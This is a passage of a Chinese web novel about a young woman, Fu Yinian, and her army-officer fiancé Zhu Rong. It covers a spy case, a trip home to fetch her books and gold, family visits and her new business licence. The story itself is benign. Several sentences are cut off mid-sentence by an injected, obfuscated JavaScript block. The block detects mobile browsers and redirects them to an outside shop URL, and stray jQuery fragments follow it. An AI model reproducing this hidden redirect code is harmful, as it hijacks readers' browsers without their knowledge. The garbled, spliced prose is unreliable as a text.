这一切,除了祝军长开头说的两句话,整个过程都是安静无声的。直到两位工作人员的汽车离开,祝镕才算松了一口气,重新在沙发上坐下,倒了杯水一饮而尽。 祝军长在院子里和正厅中环视一圈,没有发现符伊年的踪影,不禁奇怪,“年年出去了?” “午睡呢。”容院长走回来在沙发上重新坐下,“她那个同学会被牵连吧?也是倒霉。” 祝镕想到那个一直捏着嗓子和自己说话的女同志,嘴角勾起来,露出一个嘲讽的笑,“是被牵连还是参与其中,还说不好呢。” 容院长沉默了一瞬,她不能不承认,是有祝镕说得这个可能性存在。 祝军长在容院长身边坐着,不想听他们讨论些无关人员。他看向一侧坐在单人沙发里的祝镕,“你这次回来能休息多久?之后有什么安排?” 祝镕分别给两位长辈倒了水,“连级以上的干部分批次进入不同军校进修,进修后应该都会有一次提干。至于我自己,通知说的是九月初去二炮工程学院报道,不在陆军了。” 祝镕说着看向祝军长,“这跨军种进修,正常吗?” 祝军长早在听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254797|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说去二炮的时候心里就有了数,此时目光一闪,没有直接回答,“上头怎么通知你就怎么做得了,军人以服从命令为天职。” 祝镕:我就多余问。 所以符伊年醒了来到正厅后看到的就是这副情形:理所当然的爸表情淡然的妈和一脸无语的他。 符伊年没有问发生了什么,她在祝镕身边的沙发上坐下,用眼神询问他那枚“硬币”是不是都处理好了,得到祝镕肯定的回答,便放下心来。 就在这个时候,电话铃响起了,祝军长离得近,直接接起来,才说了两句话,坐姿就从随意变成了端正,“是,是,明白,您放心我会叮嘱好。” 挂了电话,祝军长感受到来自三个人的询问目光,也不隐瞒,直接告知是首长的电话,然后看向符伊年,关切地询问,“年年啊,你那个同学什么情况?怎么会和间谍搞在一起?” 顾麒章是个间谍,符伊年并不意外,从祝镕找到他身上那枚“硬币”的时候她就有所猜测了。至于于思华是怎么和他搞到一起的…… “具体怎么在一起我还真不清楚,她之前是和我们班长在一起的。去年秋天的时候,有一段时间见两个人在一起,行为动作比较亲密,我和同学们都以为只是普通的情侣关系。”符伊年将自己知道的事情都说了,尤其是去年冬天的爬水管事件和今年年初告示上说的二人早已登记结婚的事。 “现在想想,两个人偷摸进到宿舍未必真的做些什么不可言说之事,更可能是冲我去的,”符伊年有些羞愧,“那个时候祝镕在战场上,我心绪不是很稳定,他们大概偷看了我的东西,想要找到些有用的信息。因为之前于思华就有旁敲侧击问过我一些,被我顶了回去。” 说到这里,符伊年又有些庆幸,“幸好那时候不怎么通信,原来的信件也被我拿回四合院收起来了。” 祝军长和容院长听完了,既对符伊年的机警表示庆幸,又对她被牵扯进这些漩涡中感到难过。 符伊年听了两位长辈的话,急忙摆手,“这和我们有什么关系,这种事是防不胜防的呀,再说了,是间谍和反动派坏,我们只是正常生活而已。” 不要说这个时期,建国才三十年改革开放还不到一年,就是再过二三十年,依然有间谍在活动,甚至还策反和收买高层人员和专业技术人员,以窃取我们的机密政策和核心科研成果。 “主席说过:帝国主义亡我之心不死啊。”祝军长感叹了一句,“欧美也好、苏联老大哥也好,都不会看着我们崛起复兴而无动于衷的。” 容院长却有不同看法,“主席还说过‘一切反动派都是纸老虎’呢,只要我们全国上下一盘棋,万众一心众志成城,是拦不住我们发展壮大的,历史是向前发展的,我们国家一向被我们的人民保护得很好也建设得更强大,我们的人民也在国家的庇佑中站得更高看得更远。” 符伊年和祝镕对视一眼,悄悄起身,猫着腰从门侧边上溜了出去。到了院子里,二人对视一眼。 好险,再晚一会儿估计就要说到他们俩身上了。 91. 同住 第九十一章 祝镕从战场回来,根据上级的指示,连级以上军官都会分批次到不同的军校去进修,之后大概还会有职务的变动。 而祝镕自己,被安排去了西安的二炮学院。祝镕其实不太理解,从老陆去到二炮,其实算跨军种了,有些不太挨边的。 不过祝军长一句“军人以服从命令为天职”就让他闭了嘴。 符伊年知道后,突然笑起来,“没想到吧,工作这么多年了,居然要从头开始念大学了。明年我都毕业了,你才大二哎。” 祝镕看她一副幸灾乐祸的样子,说出了她的心里话,“那我要不要喊你学姐?” 被戳破了心思的符伊年丝毫不觉得脸红,甚至还顺水推舟第点头,“也不是不行哦。” 不过,在开学之前,他还有四十多天的假期,总不能一直在家待着,符伊年问祝镕这四十几天假期有没有什么打算和计划。 祝镕想了一下,除了回去原部队交接一下工作,还有原来的一些老关系要走动,这里用个三五天的时间,就没有其他的事了。 “你要和我一起去吗?”祝镕征求符伊年的意见,“我可以陪你回安县过暑假。” 符伊年摇头,祝镕都要从那里调动离开了,她跟着去干嘛。不过,后面那个提议打动了她。 “可以回安县一趟,我想把家里的东西搬过来。”符伊年在心底暗自思忖,可以把那个装金条的盒子带回来,还有那整整一柜子的书,书要比金条重要的——书中自有黄金屋啊。 祝镕很赞同她的想法,既然她以后要常住京城,确实应该把家搬过来。 符伊年却摇头,“不是搬家,只是把衣服啊书籍啊这些带过来,那里常年不住人,我怕着老鼠摇坏书。” 这样一说,祝镕懂了,就是只带她自己的物品,符志宏夫妻俩的东西还是要留在那里的。也是,人生来处不能忘,终究是她从小长大的地方。 祝镕:“这样好了,我先回部队交接,你晚个三四天坐火车出发,等我和你一起去整理,然后我们再开车回来。” 符伊年思索了片刻,觉得这样安排很好,既不用她跟着去社交应酬,又有劳动力可以用,一举两得。 于是第二天,祝镕就出发了。他开车走的,车子并不是原来的经常开的那辆,他人都不在部队,当然不能用了。 这辆车是用祝军长的关系借的,毕竟他此行也算是公事,只要自己出油钱就行了。 符伊年晚了他四天坐火车出发,这一次算是轻装出行,除了一个装着证件和钱票的随身挎包,再无其他,就连中午吃饭都是买的火车盒饭。 嗯,相比前两年,火车上的盒饭涨价了不说,味道也不好吃了。符伊年怀念方便面、螺蛳粉、自热火锅、自热米饭…… 一出站,符伊年就看到了站在出口处的祝镕,十分惊喜,不禁小跑着过去,“你这么快就办好事啦?什么时候到的啊?” 祝镕隔着栏杆帮她把头发别在耳后顺势捏一把耳垂,然后就看到符伊年的脸突然爆红,脸脖子都红了,一直红到锁骨,再下面就被衣服挡住看不见了。 祝镕新奇,原来耳垂是年年的敏感点,他记住了。祝镕在心底点头。 符伊年也是第一次知道自己的耳垂居然如此敏感,当然她看不见自己的脸色,只是觉得脸上有热气冒出来,又觉得耳朵痒,只以为是被祝镕揉捏的,遂微微偏头躲过他的手,“快走,饿死了。” 祝镕松开手,从她手里接过挎包,“火车上没吃?应该有盒饭吧,不用省,该花的就要花。”祝镕以为她为了节俭才没有吃。 这可真是个美丽的误会呢。符伊年心想。不过她还是解释了事情的真相,然后吐槽道:“这才几年,就变得又贵又难吃了,不知道是不是换了厨师。” “有可能。”祝镕顺着她的话说,“不过也没办法,该吃还得吃。不过,我听说,申城现在有一种方便食品,叫方便面,吃的时候用开水泡十分钟就熟,非常方便。” 符伊年知道方便面其实早就有了,这个东西在港城很普遍,只是在大陆还是新奇玩意,而且人们现在还无法接受一块钱就吃一口泡面的行为,觉得有这个钱买肉煮面条吃不好吗? “我也听说过,”符伊年点头,“这个东西可是居家旅行必备良品,日后一定是卖得最好的商品之一。” 祝镕也是这样认为的,这个商品现在看起来销量不大,那是因为现在人们出行不方便,人口流动慢,很多地方,现在出行还要介绍信。 不过随着改革开放,介绍信逐渐取消,人们出行方便了不少,人口流动加快,这种方便食品一定会畅销起来的。 “你听说了吗?” 此时他们正开车回化工厂家属院,她突然问了这么一句,接下来却没了下文。 祝镕本来正在等她继续往下说,等了半天没等到,只好趁着路口红绿灯的时候转头看她,结果发现她正趴在窗口冲旁边并行的公交车摆手比划。 祝镕仔细看了看,觉得她可能是遇到熟人了,便没有问出来“听说什么”,静静地等她比划完,红灯也刚好结束,公交车直行,而他们的车右拐去了另外一条路。 “熟人?”祝镕状似无意地问道,他其实看见了,车里应该是个男同志。 符伊年点头,有点兴奋,“是一对兄妹,名字可有意思,一个叫向南一个叫向北,都在京城读书,哥哥在外交学院,妹妹在财经学院。” “姓向?这个姓可不多见。”祝镕一边注意路况一边回到。 “应该不是,”符伊年思索了一下,“不过我不记得他们的姓了,只记得名字。” 听到这句话,祝镕的心情蓦地轻松起来,之后就不再继续这个话题,转而问起她刚刚的事,“你问我听说了没有,听说什么?” “嗯?”符伊年回想了一下,没想起来,“我忘了。” 祝镕无语,“行吧,估计不是什么重要的事,等想起来再说吧。” 说话间,两人就到了化工厂家属院,祝镕照常想把车停在路边,不等他熄火,门卫大爷就从门卫室跑了出来给他推开了大门,然后指着另外一侧墙上挂着的牌子。 牌子涂了白漆,用红字写着“停车收费,一天一块”。 符伊年:……“大爷,我,符志宏的女儿,自己人停车还收费啊。” 大爷走近看了看,“哦,是年年啊。”他想起来了,符工程师的女儿考上了京城的大学,还找了个军人对象,“行,你们进去吧。” 车子开进院里,符伊年下了车还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268233|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真看见几辆其他的车子,多数是卡车和拖拉机,估计就是外界车辆,“也不知道是门卫自己的主意还是厂子的意思。” 祝镕左右看了看,也猜不出来,“不管是哪一方的主意,安全隐患还是有的。” 被他这么一说,符伊年眉头更是皱得紧。 “没事,我们这次把贵重物品都带走,”祝镕拍拍符伊年的肩膀安抚她,“我看每个楼口都安了大门,估计就是这个作用。” 符伊年叹气,“才六层楼,顺水管爬窗户又不高。” 啊……这…… 祝镕还真是忽略了这种可能,他想到年年宿舍那个奇葩和她的间谍对象。年年这是……吃一堑长一智? “改天得在窗口焊个护栏才行。”符伊年喃喃。 祝镕觉得她有点夸张,但是并没有多说,反而抬头看了看三楼窗口,觉得这件事可行并记在心里,打算两人回京城之前就把护栏安装好。 符伊年这次回来要带的东西不多,除了那个盒子,就是那满满一书柜的书。这些在符伊年看来,比那个盒子还要贵重点,黄金有价书无价嘛。 不过,若是黄金和书籍都有,才最好。 两个人用了小半天的时间将房子打扫出来。这一次,符伊年没有让祝镕去外面住,而是自己住在主卧,将自己的房间给祝镕住。 “不要乱动东西,我都记得位置和顺序的。”晚上临睡前,符伊年站在主卧门口回头看向祝镕,告诫他。 祝镕似笑非笑地点头,“好,我记住了,你快去睡觉。晚安。” “哦。晚安。”符伊年说完,又看了祝镕一眼,然后才进屋关门。 祝镕在门口站着,过了两分钟看到门缝透出来的灯光变暗,这才转身进了次卧,关门关灯上床。 然而,隔着一个客厅睡在两个房间的两个人,都没有那么快入睡,各自在各自的床上翻来覆去,像是突然认床了一样。 祝镕在黑暗中睁着眼睛盯着天花板,长长地吐出一口气。这房子虽然很久没有人住过了,可是他就是觉得到处充斥着符伊年的味道。 更何况,他此时睡在符伊年的床上。虽然床单被罩都换过了,但他心里还是觉得,这和年年睡在身边没有区别。 又过了不知多久,祝镕仍然十分清醒,甚至比刚才更清醒。无奈地,他从床上起身,悄悄打开门,摸黑进了卫生间。 隔着一个客厅的符伊年也没有睡着。这里是她的家没错,可是她从来没有在主卧睡过,尤其这是符志宏和唐致清生前的房间。 符伊年是唯物主义者,不过还是心里头有些别扭。 再加上祝镕酒睡在一厅之隔,难免让她心思凌乱。 就在这时候,她听到客厅有微小的动静,像是有人走过,门打开又关上。符伊年惊讶,不会是祝镕要出门吧? 疑惑地她掀开被子起身开门,趴在门口看了看。对面房间的门开着,倒是卫生间门关着。 哦,上厕所啊。 符伊年看了一眼就不再看,回去床上继续酝酿睡意。 祝镕听力很好,尤其现在夜深人静,即便隔着一道门,开门声还是很明显的。他动作顿了一下,极力忍耐着不发出声音,等到门重新关上才继续,直到纾解完毕,长长吐出一口气。 92. 搬家 第九十二章 两人在安县一共待了三天。 第一天安顿下来,第二天整理东西、装进箱子里。第三天去扫了墓,饭后又拜访了五叔爷爷这位符家最大的长辈,之后就离开回京城了。 东西不少,一整个书柜都被清空了,连符伊年小时候看得连环画都要装箱带走。 祝镕表示不解,“这些也要带啊。谁看啊。” 符伊年坐在穿着旧衣裳盘腿坐在地上,“没人看就不要啦?以后这都是古董,有收藏价值的。” 祝镕半天没说出话来,心想:这些破连环画有什么值得收藏的。你那一盒子的金条、玉镯、戒指才是古董,才有收藏价值。 将自己有金条这件事告知祝镕,是符伊年深思熟虑过的,两个人毕竟已经是未婚夫妻,而祝镕的人品也是信得过的。 最开始祝镕虽然吃惊,但转念一想也觉得正常。符家解放前可是大地主,虽然以前被符伊年的爷爷败了家,加上老太爷和大爷爷有长远眼光又捐了大部分财产,但多少还是有些家底的, 也是赖于老太爷和大爷爷的眼光,以及大爷爷的革命功勋,才能留下那座大宅,后辈(主要是符志宏)也没有被动荡波及到。 能留存些财物,也算正常。 只不过,当他看到那一盒子的金条、玉镯、金锁、宝石戒指,还是被震撼到了。 符伊年当时的原话是“给你看下我家的金条”。 可是她没说金条是这么大一块的“大黄鱼”啊。也没说还有宝石戒指和玉镯啊。 “我,我这是抱了大腿?”祝镕喃喃,忍不住拿起一块“大黄鱼”掂量,嚯,实在! 对于祝镕这种反应,符伊年忍俊不禁,“是啊,你无意间做了傍尖儿(京城话,男的傍富婆的意思),感觉怎么样?” 祝镕沉吟了片刻,将人搂在怀里,抱紧,“绝不能放跑大腿。” “哈哈哈……” 符伊年被他逗得大笑起来,一边笑身子一边颤动,蹭得祝镕忍不住深吸一口气,赶紧将人松开,“我们还是继续整理书柜吧。” 书柜的书虽然多,但一直是按顺序摆放的。符伊年不打算将这个顺序破坏掉,仍然是按顺序装箱,然后做好标记,以便下次拿出来摆放时顺序不会出错。 一层层,直到整理到最下面的连环画时,已经装了两个大箱子,就是那种长宽高都一米的箱子。第三个箱子里准备装原主小时候的连环画,二人才有了如此的对话。 第三个箱子没有装满,符伊年就把自己的一些秋冬厚衣服装了进去,如此刚刚好。 装完了符伊年又发愁,“东西会不会太多了?车子装得下吗?”符伊年不知道这个时期的车子后备箱能有多大,好像,好像没有后备箱? “装得下,”祝镕叹口气,她现在才考虑这个不觉得太晚了吗,“两个放后备箱,一个放后车座。就能装下了。” 哦,有后备箱啊,那她就放心了。 因为在安县只是短暂停留,很快就要返回京城,两人没有再开火,三餐基本都是在外头吃或者打包回来的。 偶尔被家属院的人看到,总是好奇地打量。有些人认得符伊年,就只是打量祝镕,然后友好或者慈爱地点点头。有些人是才搬进家属院的,连符伊年也不认识,就盯着两个人打量,接着或者转移视线,或者撇嘴。 这个时候符伊年和祝镕就对视一眼,然后无奈地笑笑。 第三天,一大早,两个人把门锁好,把几个箱子装好,先去吃了东西,又在供销社里买了些扫墓祭祀用的物品,还有些烟酒糖茶等看望长辈的礼品,启程去符伊年的乡下老家。 到达乡下的时候,才刚刚九点钟。符伊年带着祝镕上山去扫墓,之后进村子去七叔家里探望五叔爷爷。 符伊年上一次来是三年前了,那时候还是冬天,走在村子里不见有人走动,都在家里猫冬。 这次是夏天,虽然在符伊年看来是盛夏,不过田地里依然有很多人在劳作,而且哥哥脸上都带着笑,活计做得又好又快。 符伊年眼睛一转就明白了,实行了家庭联产承包责任制,“交够国家的,留够集体的,剩下都是自己的”,有这样的奔头,农民劳动的积极性也很高吧。 符伊年按着记忆来到七叔家门前,大门半开半合,她先敲了敲门,然后喊人,“五叔爷爷在家不?七叔!七婶儿!” 刚喊完,一个挺拔的青年就从屋里出来了,“谁呀?你找谁?” 符伊年看着出来的挺拔青年,也愣住了。这是谁?她不认识啊。 “我,我找五叔爷爷。”说完这句符伊年就又呆住了,所以五叔爷爷的名字是什么?七叔的名字是什么?七婶儿的呢? 糟了,一个都没想起来。 祝镕看她呆在原地,无奈地笑笑,主动接过交流的任务,“符家五叔爷是住这里吧?我们是安县来的,路过这里,来探望老爷子。” 就在这时候,从房后传来一个声音,“在呢在呢。在家呢。”接着五叔爷爷提着一把镐头从房子和围墙的夹道绕出来,“是年年来了吧!” 符伊年松了一口气,没有找错就好,接着应道:“是我呀五叔爷爷,您老是越来越硬朗啦。”一边说一边拉着祝镕往院子里走,“这精神头,我年轻人都自愧不如。” 五叔爷爷呵呵笑着,对符伊年的奉承照单全收,目光却落在她身后的祝镕身上,眼中的审视丝毫没有掩饰。 符伊年注意到,连忙给他介绍,“这是祝镕,我对象,当兵的。”然后又冲祝镕使眼色,“这是我五叔爷爷,我们符家目前辈分最高的长辈了。” “五叔爷爷。”祝镕微微弯腰,恭敬地问好。 五叔爷爷还是呵呵地笑,“好,你也好。” 身姿挺拔、五官端正,外表和年年挺相配。年年说是当兵的,看气质应该是个干部,起码连级,前程应该不错,和年年这个大学生身份也算相配。 五叔爷爷终于满意地点头,“来,进屋,快进屋。”然后随手把镐头塞给门口的那个年轻人,顺便给她介绍,“你还不认识吧,你二哥,上次回来他在部队,今年这是回来休探亲假。” 符伊年同年轻点头问好,“二哥。” 年轻人扯扯嘴角,露出一个自认为和煦地笑,“你好。”眼睛却一直瞄着她身后的祝镕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282278|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祝镕:我不认识你,别看我,我已经不是你营长了。 “老二,去地里喊你爹你娘回来,就说年年带对象回来了。”五叔爷爷拉着人进屋,让两个人坐下看,自己亲自给他们沏茶。 祝镕见状,急忙放下手里的东西,上前接过对方手里的水壶和茶叶,“我来,您老坐着。” 符伊年也拉着他坐下,“让他做,不用客气,随便使唤。” 五叔爷爷笑着训她,“哪能让客人做事,你这丫头说什么使唤不使唤的,不好听。” “没事儿,”祝镕接了老人家手里的东西,十分好脾气的样子,“我皮糙肉厚的,家里事儿都是我做。” 五叔爷爷赞同地颔首,“是这个理儿,主席都说:妇女能顶半边天。男女同工不分大小事。” 听起来是不偏不倚的公道话,仔细一想,嗯,老人家还是偏心自己晚辈的哈。 祝镕当然不会反驳,甚至表示十分赞同,“年年比我能干,我要向她学习的。”还特意举了几个符伊年比祝镕想得周到的事件,但是开办作坊的事没有提。 五叔爷爷听了,脸上的表情越发自豪、得意,也说起来以前的一些事。 “我们符家啊,很多年前是也算高门大户,但是若说能干,年年她太爷那一支才是真的能干,安县如今的纺织厂,以前姓符的,就是她太爷爷年轻时候力主开办的,当时有三台纺织机呢,都是德国进口的。” “啊?真的啊?”座位安县纺织厂原职工的符伊年目瞪口呆,她还是第一次听说这件事,“那后来怎么……” 五叔爷爷叹口气,“办厂的时候民国才开始,后来鬼子来了,你太爷爷不想给鬼子办事,就关了厂子遣散了工人回家当地主了。” 结果当地主也没当安稳,先是大儿子非要参军去打鬼子,打完鬼子打老蒋,没等解放牺牲了;再是小儿子误入歧途成了废人,被他亲手了结了。 万幸唯一的孙子孝顺又争气,考上了大学回到县里成了工程师。可惜啊,他没能看到。 “年丫头好好读书,将来也做干部,不要坠了家风。”五叔爷爷目含希冀地说。 符伊年乖巧地点头,“五叔爷爷放心。”这时二哥喊人回来了,她玩笑似的说:“这担子有点重,二哥帮着分担分担。” 符二哥:什么和什么啊。 符伊年和祝镕在五叔爷爷家没有停留太久,本来不想吃午饭的。毕竟要开车回去,路上少说得十个小时。不过七婶儿说她已经做好了,吃了再走也来得及。 等到吃完,五叔爷爷还递了个柳条筐给符伊年,里面装了些黄瓜、西红柿、李子、桃子、香瓜等果蔬,用井水洗赶紧晾干,让他们带在路上吃。 “你们俩,这就算定下来了?”临上车前,五叔爷爷拉着符伊年的手,问她,“跟你爸妈说过了吗?” 符伊年点头,“他一打恋爱报告就说了,今天过来之前先去扫的墓。” 五叔爷爷满意地点头,“行。”说着抬头看向天空的太阳,“行,天色不早了,早些出发吧。” 符伊年和祝镕也没有多耽搁,各自上了车,同长辈们挥手告别,往京城驶去。 93. 领证了 第九十三章 符伊年和祝镕回到京城四合院时,已经晚上八点了。原本应该是十个小时的车程,结果八个小时就到了,这中间还休息了两次。 因为到后半程,车子驶上了省道,路途比之前平坦很多,车子提了速,所以要比预计的快了一些。 路上休息的时候,符伊年敲了个香瓜分了一半给祝镕,“知道哪里能考驾照吗?我去考一个,以后肯定用得上。” 这个时候还没有驾校呢。 “汽车公司吧。”祝镕吐掉瓜籽,吞下瓜瓤,说:“等我回去打听打听,趁着这个暑假没有别的事,给你教会了。多少也算一项技能。” 祝镕对于符伊年这种积极学习的思想十分赞赏,也十分支持,会在自己能力范围之内帮助她学习技能、达成目标。 符伊年也十分满意,至少祝镕没有大包大揽地说些什么“女孩子不用学驾驶”。 “什么时候修高速公路就好了。”符伊年站起身走动着,缓解自己僵硬的下肢,感叹到,先不指望高铁了,先期望高速公路吧。 “没钱。”祝镕说得简明扼要,“一公里高速公路造价要三千万元,地形复杂地区造假更高。我们国家现在没钱。” “所以要改革开放啊。”符伊年走动了两圈,重新在祝镕身边坐下,从柳条筐里摸了一根黄瓜,“只有改革开放了,经济向好了,国家有钱了,才能大力投资基建,从而带动经济发展,百姓的日子才好过。” 要想富,先修路。华国幅员辽阔,物产丰富,偏偏很多资源都在较为偏僻的老边山地区。因为交通,不仅资源、物产运不出来,外头的资源、知识、信息也传不进去。 还有很多名胜古迹、秀丽风景、奇特建筑等都隐藏在偏僻之所,比如九寨沟、比如敦煌、比如五岳山川、比如红岩革命圣地、比如嘉兴红船。 只有道路通了,交通便捷了,将物产资源、旅游资源、文化资源传播出去,转化成可见的经济资源,百姓富了、国家强了。 祝镕听了她的话,忍不住用手摸摸她的头,“年年的想法越来越深刻了,看来我也确实要进修学习了,不然要跟不上你的脚步了。” 符伊年来不及谦虚,只顾着外头躲开他的手,“哎呀,你刚吃完瓜还没洗手,黏糊糊别往我头发上蹭。” 祝镕哭笑不得地收回手,心说这大道边上我去哪儿洗手啊,一转眼就看到不远处有条河,说是河不太合适,只能叫小溪。 他小跑着过去洗手还顺带洗了把脸,回来时一手提起柳条筐,一手跟着摸了一把符伊年的脸,“上车啦。” 符伊年无语,幼稚不幼稚啊。反手擦擦脸颊,也起了身上车。 所以回到家后,和两位长辈打过招呼,符伊年的第一件事情就是冲去浴室洗澡洗头发,当然也是为了洗去一路的灰尘。 当初装修四合院的时候,符伊年特意在每个院子都布置了两间浴室,就是为了方便这种时候,可以随时随地洗。 不过这个时候其实还没有后世那种热水器,没有办法用电的,只能自己安锅炉、管道和花洒,这一部分是符伊年找到祝军长,祝军长又找了专门的人帮忙设计后安装的。 不要说现在,就是再过十几年,都是很先进很方便的。 符伊年擦着头发从浴室出来的时候,祝镕早就在另外一间浴室洗好了,搬了两把椅子出来庭院中坐着乘凉,一张自己坐着,一张留给符伊年,两把椅子中间还放了一个小凳子,上面摆了一个果盘和两杯水。 “开了一天车了,不累啊?”符伊年在椅子上坐下,拽过他的手咬了一口他已经吃了一半的西红柿。 祝镕倒是不介意被她虎口夺食,就是……“我吃过了,你不嫌弃吗?” 符伊年把毛巾从头发上拿下来看了祝镕一眼。 她虽然没出声,但是祝镕觉得自己已经领会到了她的意思:口水交换我都没嫌弃,吃一口你吃过的西红柿怎么了? “怎么还不休息,不累吗?”符伊年又问了一句,“开了一天的车啊。” “唔,还好。”祝镕吃完西红柿,用搭载腿上的毛巾擦了手,端起杯子喝水,“我在想,我以后的职业规划。” “嗯?”符伊年擦好头发把毛巾放到一旁,表示不解:军人还要有职业规划的吗? 虽然是夜晚,院子里也没有灯光,只有月光还算亮堂,他不能十分真切地看到符伊年的表情,但是从她的语气语调也能猜出来她的不理解和疑惑。 “嗯,是这样的,”祝镕简单地替符伊年解释着,“我以前是陆军,钢铁洪流,十多年了在这里面很熟悉了,加上爸爸的缘故,如何发展、上升,之前就有做出规划。现在让我去二炮学院进修,以后多半也要去二炮的。” “二炮不是陆军吗?”符伊年发出自己的疑问。 “目前是。”祝镕停顿了下,似乎在考虑要如何解释符伊年能听的能明白些,“二炮,除了传统的工程、情报、侦察、测地、计算、气象、通信、防化、伪装等作战保障、技术保障和后勤保障部队,还有近程、中程、远程和洲际导弹部队……” 没等祝镕说完,符伊年就反应过来,这不就是后来的导弹部队?不过她美欧出声,还是保持着安静,听他继续往下说。 “以后世界的主流是和平与发展,轻易不再会有大战,但是局部战争不会少,而且欧美苏都不会看着我们变大变强,未来二炮的作用肯定更大,挑战更大,机遇也更大。”祝镕简单地说了些当前和未来的局势。 “我坦言,因为爸爸的缘故,我确实得利不少,以后去了二炮,这些曾经的便利就没有了,很多事都要重新衡量规划。” 符伊年等了一下,见祝镕不再往下说,就知道他说完了,便问了一句,“你这次进修要多久?半年?一年?” “两到三年。”这个祝镕知道的清楚,“如果是新生,这个专业要五年,我们从基层去进修的,时间没那么久。” “哦。对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296294|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你这个专业是什么专业,不会是去学习制作导弹吧?”符伊年瞪大了眼睛,“行不行啊你?” 祝镕有点无语,“军事指挥学,导弹哪有那么容易才两三年久能会做。” “哦。”符伊年想了想,“那和你现在也没有大区别嘛,都是军事指挥,一通百通吧?” “还是不太一样的。”但是具体怎么不一样,祝镕没有讲,反而是催符伊年快去休息,“坐车也很累的,早点休息,明天我们讨论下暑假要怎么过。” 听话听音,符伊年知道祝镕其实是有了想法,不过没有多问,最后喝了一口水,起身回了东厢房。走到门口时又回头,“你知道你住哪里吧?” 祝镕点头,指了指正房的西屋。符伊年便不再多言,转头进了进了房间。待她熄掉灯,院子里只剩下月光,祝镕又坐了片刻,喝完一杯水,也起身回房去休息了。 第二天早餐的时候,容院长跟符伊年说,她不在的这两天,有工商所的过来过,说个体户和私营业主可以去办执照了,“昨天回来太晚了,没和你说,你找个时间去办一下。” 符伊年当下点头,“我今天就去,早点去把证件办下来,久能早点名正言顺,回头税务、工商什么的查起来,就不用心虚了,还能早点交税。”说着喃喃地道:“也不知道税率怎么算。” “不管怎么算,肯定都会让你有盈利的,不然改开不就成了一句空话。”祝军长穿戴整齐从房间出来,坐下,环视一圈,“祝镕呢?还没起床吗,不能因为放假在家就放松啊。” “起来了,”符伊年赶忙替他解释一句,“晨练回来冲澡去了,估计快出来。” 祝军长“嗯”了一声,说回之前的话题,“无论税率多高,哪怕是百分之三四十,该缴的税还是要缴,按时纳税,利国利民。” 符伊年当然懂,做生意不按时按规定纳税,那这生意也做不长。 因为晚了几天,符伊年没能领到编号“001”的生产许可证,有些惋惜。但也只是一会儿罢了,有了这个证件,她就相当于从野路子被编入了正规军。 交税的义务她会承担,当然也能从各种经济政策中获得其他红利。 为了庆祝,符伊年私人掏腰包,拿了一百块做饭的阿姨,让她中午多做几个菜,再去买只烤鸭、搬箱汽水,“大家一起庆祝一番,好好乐呵乐呵。” 老板如此大气,员工当然开心。他们虽然不是很懂这个证件背后的经济意义和政治意义,但是他们明白,有了这个证,就说明他们这个作坊稳定下来了,是国家承认的了,不是“黑户口”了。 符伊年也是此时才知道,员工们原来一直都是提心吊胆在做事的,生怕哪天这个作坊倒闭了,他们就失去了一个增加收入的机会。 符伊年安抚他们放心,政策肯定会越来越好越来越放开,工厂肯定也会蒸蒸日上的。 接着又开玩笑:“若是哪天真的做不下去,肯定也会好好安置你们的。放心吧。” 94. 出游 第九十四章 日历一页一页撕掉,很快进入八月。 八月一日是建军节。也是这一天符伊年才知道,一家四口,只有她一个人不是军人。祝军长和祝镕就不提了,容院长是军医,也是军人。 一大早,祝军长、容院长和祝镕就穿戴整齐,准备出门。祝军长是要下基层去慰问,容院长是因为医院要开庆祝大会要发言,而祝镕,有几个以前读军校的校友在京城,决定大家聚一聚。 符伊年一边喝粥一边嘀咕,“全家就我一个另类。” “没关系,军属一样光荣。”容阿姨安慰她,“再说,大家一样是干革命工作,不分种类。” “对,”祝军长也附和容院长的话,“因为有群众和军属的支持,军人才能安心工作。” 祝镕夹了一筷子拌菜到她面前的碗里,“军功章有我的一半,也有你的一半。” 符伊年“嗯嗯”着点头,过了一会儿看到祝镕脸上的笑容反应过来,自己这是被占了便宜吧? 